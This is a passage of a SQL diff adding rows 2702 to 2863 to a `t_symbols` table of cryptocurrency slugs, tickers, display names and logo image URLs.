(2702, 'safecapital', 'SCAP', 'SafeCapital', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safecapital.png', NULL); +INSERT INTO `t_symbols` VALUES (2703, 'op-coin', 'OPC', 'OP Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/OPCoin_official.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2704, 'witchain', 'WIT', 'WITChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/witchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2705, 'commodity-ad-network', 'CDX', 'CDX Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/commodity-ad-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2706, 'bunny', 'BUNNY', 'BunnyToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bunny.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2707, 'chncoin', 'CNC', 'CHNcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chncoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2708, 'wagglenetwork', 'WAG', 'Waggle Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wagglenetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (2709, 'coinjanitor', 'JAN', 'CoinJanitor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinjanitor.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2710, 'fitrova', 'FRV', 'Fitrova', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fitrova.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2711, 'armors', 'ARM', 'Armours', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/74d2425a9d64cb9c2643ef07871e1e3e.png', NULL); +INSERT INTO `t_symbols` VALUES (2712, 'graviocoin', 'GIO', 'Graviocoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/graviocoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2713, 'geysercoin', 'GSR', 'GeyserCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/geysercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2714, 'friends', 'FDZ', 'Friendz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/friends.png', NULL); +INSERT INTO `t_symbols` VALUES (2715, 'freyrchain', 'FREC', 'Freyrchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/freyrchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2716, 'litebar', 'LTB', 'LiteBar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litebar.png', NULL); +INSERT INTO `t_symbols` VALUES (2717, 'mesg', 'MESG', 'MESG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mesg.png', NULL); +INSERT INTO `t_symbols` VALUES (2718, 'eventchain', 'EVC', 'EventChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eventchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2719, 'spots', 'SPT', 'Spots', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spots.png', NULL); +INSERT INTO `t_symbols` VALUES (2720, 'mark-space', 'MRK', 'Mark.Space', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mark-space.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2721, 'cherry', 'CHERRY', 'Cherry', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cherry.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2722, 'verime', 'VME', 'TrueVett', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verime.png', NULL); +INSERT INTO `t_symbols` VALUES (2723, 'knt', 'KNT', 'Kora Network Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/knt.png', NULL); +INSERT INTO `t_symbols` VALUES (2724, 'zcore', 'ZCR', 'ZCore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zcore.png', NULL); +INSERT INTO `t_symbols` VALUES (2725, 'qtes', 'QTES', 'QTES', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qtes.png', NULL); +INSERT INTO `t_symbols` VALUES (2726, 'dollar-online', 'DOLLAR', 'Dollar INTERNATIONAL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/dollarglobal.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2727, 'newadchain', 'NAC', 'newadchain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2728, 'digitalcoin', 'DGC', 'Digital Genetic Code', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digitalcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2729, 'sugar-exchange', 'SGR', 'Sugar Exchange', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sugar-exchange.png', NULL); +INSERT INTO `t_symbols` VALUES (2730, 'yffi-finance', 'YFFI', 'yffi finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yffi-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2731, 'm-chain', 'M', 'M Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/m-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (2732, 'xlmx', 'XLMX', 'Stellar Classic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xlmx.png', NULL); +INSERT INTO `t_symbols` VALUES (2733, 'beauty', 'BEAUTY', 'beauty', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2734, 'okschain', 'OKS', 'Okschain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/okschain.png', NULL); +INSERT INTO `t_symbols` VALUES (2735, 'ethereumx', 'ETX', 'EthereumX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereumx.png', NULL); +INSERT INTO `t_symbols` VALUES (2736, 'genesis-network', 'GENX', 'Genesis Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genesis-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2737, 'berncash', 'BERN', 'BERNcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/berncash.png', NULL); +INSERT INTO `t_symbols` VALUES (2738, 'californium', 'CF', 'Californium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/californium.png', NULL); +INSERT INTO `t_symbols` VALUES (2739, 'rpicoin', 'RPI', 'RPICoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rpicoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2740, 'secretcoin', 'SCRT', 'SecretCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/SecretCoinDevs.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2741, 'nevacoin', 'NEVA', 'NevaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/nevacoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2742, 'bolivarcoin', 'BOLI', 'Bolivarcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bolivarcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2743, 'kwhcoin', 'KWH', 'KWHCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kwhcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2744, 'penguin-coin', 'PENG', 'PENG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/coin_penguin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2745, 'golfcoin', 'GOLF', 'Golfcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/golfcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2746, 'cannabiscoin', 'CANN', 'CannabisCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cannabiscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2747, 'nmst', 'NMST', 'NMS Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/13b9760a025e52522721dfc2aa0beb83.png', NULL); +INSERT INTO `t_symbols` VALUES (2748, 'dscoin', 'DSCOIN', 'DSCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dscoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2749, 'zrcoin', 'ZRC', 'ZrCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zrcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2750, 'experiencecoin', 'EPC', 'ExperienceCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/experiencecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2751, 'allion', 'ALL', 'Allion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/allion.png', NULL); +INSERT INTO `t_symbols` VALUES (2752, 'knekted', 'KNT', 'Knekted', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/knekted.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2753, 'reftoken', 'REF', 'RefToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/reftoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2754, 'lkr', 'LKR', 'LKR Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Lkrcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2755, 'gpei', 'GPEI', 'Greenchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gpei.png', NULL); +INSERT INTO `t_symbols` VALUES (2756, 'asia-token-fund', 'ATF', 'asia-token-fund', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/asia-token-fund.png', NULL); +INSERT INTO `t_symbols` VALUES (2757, 'gatcoin', 'GAT', 'GAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gatcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2758, 'mftu', 'MFTU', 'Mainstream For The Underground', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mftu.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2759, 'hashhosting', 'HASH', 'HASH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hashhosting.png', NULL); +INSERT INTO `t_symbols` VALUES (2760, 'jetcoin', 'JET', 'Jetcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jetcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2761, 'credit', 'CREDIT', 'Credit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/credit.png', NULL); +INSERT INTO `t_symbols` VALUES (2762, 'agora', 'VOTE', 'Agora', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/agora.png', NULL); +INSERT INTO `t_symbols` VALUES (2763, 'veles', 'VLS', 'Veles', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/veles.png', NULL); +INSERT INTO `t_symbols` VALUES (2764, 'mobile-crypto-pay-coin', 'MCPC', 'Mobile Crypto Pay Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mobile-crypto-pay-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2765, 'npcoin', 'NPC', 'NPCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/npcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2766, 'flowchain', 'FLC', 'Flowchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flowchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2767, 'zeuxcoin', 'ZUC', 'ZeuxCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zeuxcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2768, 'rate3', 'RTE', 'Rate3', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rate3.png', NULL); +INSERT INTO `t_symbols` VALUES (2769, 'safeinsure', 'SINS', 'SafeInsure', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safeinsure.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2770, 'feitebi', 'FTB', 'Feitebi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/feitebi.png', NULL); +INSERT INTO `t_symbols` VALUES (2771, 'bitcoin-cz', 'BCZ', 'Bitcoin CZ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-cz.png', NULL); +INSERT INTO `t_symbols` VALUES (2772, 'yun', 'YUN', 'YunEx Yun Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yun.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2773, 'prmichain', 'PRMI', 'PRMI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/prmichain.png', NULL); +INSERT INTO `t_symbols` VALUES (2774, 'ali', 'ALI', 'AiLink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ali.png', NULL); +INSERT INTO `t_symbols` VALUES (2775, 'mib', 'MIB', 'MIB Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mib.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2776, 'blockcloud', 'BLOC', 'Blockcloud', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/b68524d6fb385d3f6c497312c93706dd.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2777, 'cloakcoin', 'CLOAK', 'CloakCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cloakcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2778, 'bezant', 'BZNT', 'Bezant', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bezant.png', NULL); +INSERT INTO `t_symbols` VALUES (2779, 'c2c-system', 'C2C', 'C2C System', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/c2catm.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2780, 'yfrb-finance', 'YFRB', 'yfrb.Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yfrb-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (2781, 'mdtoken', 'MDTK', 'MDtoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mdtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2782, 'cryptopay', 'CPAY', 'Cryptopay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptopay.png', NULL); +INSERT INTO `t_symbols` VALUES (2783, 'wccmk', 'WCCMK', 'wccmk', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2784, 'junsonmingchancoin', 'JMC', 'Junsonmingchncoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/junsonmingchancoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2785, 'compucoin', 'CPN', 'Compucoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/compucoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2786, 'beekan', 'BKBT', 'BeeKan', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beekan.png', NULL); +INSERT INTO `t_symbols` VALUES (2787, 'sativacoin', 'STV', 'Sativacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/sativacoins.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2788, 'payrue', 'PROPEL', 'Propel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/payrue.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2789, 'bit20', 'BTWTY', 'Bit20', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bit20.png', NULL); +INSERT INTO `t_symbols` VALUES (2790, 'tajcoin', 'TAJ', 'TajCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tajcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2791, 'netrum', 'NTR', 'Netrum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/netrum.png', NULL); +INSERT INTO `t_symbols` VALUES (2792, 'axerunners', 'AXE', 'Axe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/axerunners.png', NULL); +INSERT INTO `t_symbols` VALUES (2793, 'bitcoinsov', 'BSOV', 'BitcoinSoV', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoinsov.png', NULL); +INSERT INTO `t_symbols` VALUES (2794, 'tokenbox', 'TBX', 'Tokenbox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokenbox.png', NULL); +INSERT INTO `t_symbols` VALUES (2795, 'dreamcoin', 'DRM', 'Dreamcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Dream_Coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2796, 'comet', 'CMT', 'Comet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/comet.png', NULL); +INSERT INTO `t_symbols` VALUES (2797, 'adaswap', 'ASW', 'AdaSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/adaswap.png', NULL); +INSERT INTO `t_symbols` VALUES (2798, 'bitpark-coin', 'BPC', 'Bitpark Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitpark-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2799, 'thingsopreatingsystem', 'TOS', 'ThingsOperatingSystem', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thingsopreatingsystem.png', NULL); +INSERT INTO `t_symbols` VALUES (2800, 'nushares', 'NSR', 'NuShares', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/OfficialNuBits.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2801, 'shivers', 'SHVR', 'Shivers', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shivers.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2802, 'flik', 'FLIK', 'FLiK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/TheFlikIO.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2803, 'fuzex', 'FXT', 'FuzeX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fuzex.png', NULL); +INSERT INTO `t_symbols` VALUES (2804, 'spec', 'SPEC', 'SpectrumNetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spec.png', NULL); +INSERT INTO `t_symbols` VALUES (2805, 'den-x', 'DNX', 'Den-X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/den-x.png', NULL); +INSERT INTO `t_symbols` VALUES (2806, 'bulleon', 'BLN', 'bulleon', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2807, 'bitdeal', 'BDL', 'Bitdeal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitdeal.png', NULL); +INSERT INTO `t_symbols` VALUES (2808, 'alpha-coin', 'APC', 'Alpha Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alpha-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2809, 'modultrade', 'MTRC', 'ModulTrade', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/modultrade.png', NULL); +INSERT INTO `t_symbols` VALUES (2810, 'bitcoin-zero', 'BZX', 'Bitcoin Zero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BitcoinZer0X.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2811, 'mustangcoin', 'MST', 'MustangCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mustangcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2812, 'cma', 'CMA', 'CoinMarketAlert', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cma.png', NULL); +INSERT INTO `t_symbols` VALUES (2813, 'jbox', 'JBX', 'JBOX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jbox.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2814, 'xmc', 'XMC', 'xmc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xmc.png', NULL); +INSERT INTO `t_symbols` VALUES (2815, 'softchain', 'SCC', 'SoftChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/softchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2816, 'eaglex', 'EGX', 'EagleX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eaglex.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2817, 'adcoin', 'ACC', 'AdCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2818, 'gravitycoin', 'GXX', 'GravityCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gravitycoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2819, 'nexxus', 'NXX', 'Nexxus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nexxus.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2820, 'nubits', 'USNBT', 'NuBits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/OfficialNuBits.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2821, 'arbitrage', 'ARB', 'ARBITRAGE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arbitrage.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2822, 'isc', 'ISC', 'isc', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2823, 'cashcoin', 'CASH', 'CashCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cashcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2824, 'darsek', 'KED', 'Darsek', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/darsek.png', NULL); +INSERT INTO `t_symbols` VALUES (2825, 'aka', 'AKA', 'Akroma', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aka.png', NULL); +INSERT INTO `t_symbols` VALUES (2826, 'phoneum', 'PHT', 'Phoneum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phoneum.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2827, 'gobyte', 'GBX', 'GoByte', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gobyte.png', NULL); +INSERT INTO `t_symbols` VALUES (2828, 'hash-matrix-stake', 'MS', 'hash-matrix-stake', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hash-matrix-stake.png', NULL); +INSERT INTO `t_symbols` VALUES (2829, 'deep', 'DEEP', 'DeepCloud AI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/b612792c75e6944c3084cfd7dfc1119a.png', NULL); +INSERT INTO `t_symbols` VALUES (2830, 'imbrex', 'REX', 'imbrex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/imbrex.png', NULL); +INSERT INTO `t_symbols` VALUES (2831, 'blackstar', 'BSTAR', 'Blackstar', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2832, 'imagecash', 'IMGC', 'ImageCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/imagecash.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2833, 'qurito', 'QURO', 'Qurito', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qurito.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2834, 'bios-crypto', 'BIOS', 'BiosCrypto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Bios_crypto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2835, 'coffeecoin', 'COF', 'CoffeeCoin', 'http://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/coffeecoin2.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2836, 'odin-blockchain', 'ODIN', 'ODIN Blockchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/odin-blockchain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2837, 'fcoin-token', 'FT', 'FCoin Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fcoin-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2838, 'animal-friends-united', 'AFU', 'Animal Friends United', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/animal-friends-united.png', NULL); +INSERT INTO `t_symbols` VALUES (2839, 'creditbit', 'CRB', 'Creditbit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/creditbit.png', NULL); +INSERT INTO `t_symbols` VALUES (2840, 'polypux', 'PUX', 'PolypuX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polypux.png', NULL); +INSERT INTO `t_symbols` VALUES (2841, 'ldbc', 'LDBC', 'ldbc', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2842, 'tgame', 'TGAME', 'Truegame', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tgame.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2843, 'pictionnetwork', 'PXL', 'Piction Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pictionnetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (2844, 'aphelion', 'APH', 'Aphelion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aphelion.png', NULL); +INSERT INTO `t_symbols` VALUES (2845, 'indinode', 'XIND', 'INDINODE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/indinode.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2846, 'tokia', 'TKA', 'Tokia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokia.png', NULL); +INSERT INTO `t_symbols` VALUES (2847, 'wxcoins', 'WXC', 'WXCOINS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wxcoins.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2848, 'keyco', 'KEC', 'Keyco', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/keyco.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2849, 'quinads', 'QUIN', 'QUINADS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quinads.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2850, 'vns', 'VNS', 'Venus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vns.png', NULL); +INSERT INTO `t_symbols` VALUES (2851, 'minexcoin', 'MNX', 'MinexCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/minexcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2852, 'alphr', 'ALPHR', 'Alphr finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alphr.png', NULL); +INSERT INTO `t_symbols` VALUES (2853, 'nash', 'NASH', 'NeoWorld Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neoworld-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (2854, 'fuzzballs', 'FUZZ', 'FuzzBalls', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fuzzballs.png', NULL); +INSERT INTO `t_symbols` VALUES (2855, 'hash-power-capital', 'HPC', 'Hash Power Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hash-power-capital.png', NULL); +INSERT INTO `t_symbols` VALUES (2856, 'ocn', 'OCN', 'ocn', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2857, 'eazy-community-node', 'EZY', 'EAZY Community Node', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eazy-community-node.png', NULL); +INSERT INTO `t_symbols` VALUES (2858, 'egypt', 'EGY', 'EGYPT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/egypt.png', NULL); +INSERT INTO `t_symbols` VALUES (2859, 'well', 'WELL', 'WELL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/well.png', NULL); +INSERT INTO `t_symbols` VALUES (2860, 'phantomx', 'PNX', 'Phantomx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/PhantomX_Coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2861, 'shared-ecological-chain', 'SEC', 'shared-ecological-chain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2862, 'litecoin-plus', 'LCP', 'Litecoin Plus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin-plus.png', NULL); +INSERT INTO `t_symbols` VALUES (2863, 'touriva', 'TOUR', 